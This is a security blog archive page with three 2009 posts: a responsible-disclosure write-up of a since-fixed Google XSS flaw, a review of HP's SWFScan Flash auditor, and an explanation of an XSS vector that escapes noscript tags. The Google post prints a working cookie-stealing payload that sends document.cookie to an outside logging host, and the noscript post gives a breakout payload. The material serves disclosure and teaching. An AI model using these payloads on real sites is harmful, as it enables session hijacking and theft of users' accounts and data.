Archive for the ‘XSS’ Category

« Older Entries
Newer Entries »

Universal XSS Vulnerability in all Google Services can compromise your personal information

Friday, May 8th, 2009

Vulnerability Reported: 04/18/2009 9.33 pm
Google’s Response: 04/18/2009 10.19 pm (Wow! that was super fast for Saturday :) )
Vulnerability Fixed: 05/05/2009 7.05 pm
Change Propogated: 05/07/2009 3.19 pm

I recently reported a cross-scripting flaw to Google, which is now fixed. The vulnerability existed in Google’s Support Python Script where a malicious url is not sanitized for XSS character ‘ (single quote) before putting inside javascript variable logURL. As a result, it was possible to break the encapsulation of the var declaration and execute arbitary javascript commands on the main Google.com domain.

The only limitation was the following characters were either filtered out or url encoded – ” (double quote) < > (space) { }. However, this protection could be easily circumvented. I was able to write javascript statements to steal the session cookies [since characters such as ' ; . ( ) / = + were still available] and send it to my evil website. See the example given below.

Your Google.com domain cookie is the central Single Sign-On cookie to all google services. Once anyone gets it, he or she can use it to

1. Steal your emails.
2. Steal your contacts.
3. Steal your documents.
4. Steal your code.
5. Steal your sites.
6. Steal your website analytics.
7. Backdoor your iGoogle Homepage with malicious gadgets.
…. and there should be still some more things remaining that you can play with.


Simple Proof of Concept Code that displays your Google.com cookie in an alert box:-

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';alert(document.cookie);//&src=cb&lev=index

Universal Google XSS in Python Script
More real-world example where an attacker will silently transfer your Google.com cookie to his or her evil site:-

http://google.com/support/webmasters/bin/answer.py?answer=34575&cbid=-1oudgq5c3804g';ifr=document.createElement('iframe');ifr.src='http:'+'//www.securethoughts.com/security/cookielogger/log.cgi?cookie='+escape(document.cookie);document.body.appendChild(ifr);//src=cb&lev=index


I would like thank the Google Security Team for their prompt responses and fixing this serious issue in a timely manner. If you think Google took a long time in fixing this vulnerability, think again. This python script is used in a lot of places. Try this Google Dork to see the usage of this script in almost all Google Services.

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , ,
Posted in Exploits, WebAppSec, XSS | 10 Comments »

HP’s SWFScan does not find simple XSS in Flash Apps

Tuesday, April 21st, 2009

This will a short post on my review of the new HP’s solution for auditing Flash apps – SWFScan. It has a variety of features, some of which are highlighted on the HP’s Blog here.

Before that, I have used Stefano’s Tool, SWFIntruder. It is a nice tool to audit Actionscript 2 apps, but it only reports XSS issues and does not support Actionscript 3. This time, I was out of luck, since I needed to audit a Actionscript 3 App. Also, I could not decompile and study its source code since the free tool Flare does not work on Actionscript 3.

So, I decided to give HP’s tool a try. I had a lot of expectations from this tool, since HP already has a popular tool WebInspect which is known in the industry for its website and web services auditing capabilities. I ran this tool on my app and it decompiled beautifully the complete source code of the flash app. It has a useful search feature which can aid in manually studying source code for vulnerabilities. However, I wanted to see some of its automatic auditing capabilities. So, I ran the scan and found it to find some issues like crypto issues(sha0/sha1), stacktraces, etc. Apart from that, it didn’t report any serious issues like XSS, etc. It also does report a large number of false positives in checks that start with “Possible/Potentially – - – -”. But i am willing to ignore those as long as the tool can effectively find some important vulnerabilities.

I didn’t know my app had any XSS issues or not, so I decided to use the free test.swf which is provided as part of SWFIntruder.

To my surprise, HP’s SWFScan tool did not report any of the 5 XSS issues reported by SWFIntruder.

If you see the screenshots below, swfscan shows you the vulnerabilities it found and the decompiled source code. Using manual inspection, a penetration tester can easily locate XSS issues in parameters such as _root.obj and _root.sd which are directly written into html without any escaping/filtering. I hope this free SWFScan tool improves in the near future and does not miss auditing such simple vulnerabilities.

SWFScan

SWFIntruder

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , , , ,
Posted in Flash, Solutions, Tools, WebAppSec, XSS | No Comments »

Hacking for XSS inside noscript html tags

Saturday, February 14th, 2009

I have found a XSS vector inside html noscript tags. It is very simple and easy. This attack method is not new as it is already discussed in the context of other html tags such as title, textarea, style, etc.

For understanding this attack, first lets compose a simple html file with the following contents:

<noscript>
<script>alert('XSS')</script>
</noscript>

Then lets run this file in your browser (Example – noscript.html). You would notice that it won’t execute the javascript to show an alert box. The reason being:

  1. If you have javascript enabled, then any content inside noscript tags does not get parsed. Check the standards here.
  2. If you don’t have javascript enabled, then content inside noscript tags will be parsed. However, since javascript content is globally disabled, the javascript code inside noscript tags won’t execute as well.

So, then the only way left to execute our malicious XSS inside noscript html tags is to come out of the noscript tag using </noscript> and then use our simple XSS vector. Also, you should add the html comments start tag at the end to prevent any html parser errors. The complete attack vector looks like this:

"></noscript><script>alert('XSS')</script><!--

I have seen some real world examples where this attack is possible. It looks like that Developers have a false illusion in their minds that it is not required to escape user supplied content inside noscript html tags. This posting should help to open some eyes.

The example code given below comes from the html page of a mid-size company that aims to put the world wide web offline. Despite several attempts to contact the site owner, I have not received any response. Since this vulnerability still exists, I have removed the site’s name from the various images below.

1. Javascript content inside title tag is escaped.

2. Javascript content inside input tag is escaped.

3. Javascript content inside noscript tag is NOT escaped.

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , ,
Posted in WebAppSec, XSS | 1 Comment »

« Older Entries
Newer Entries »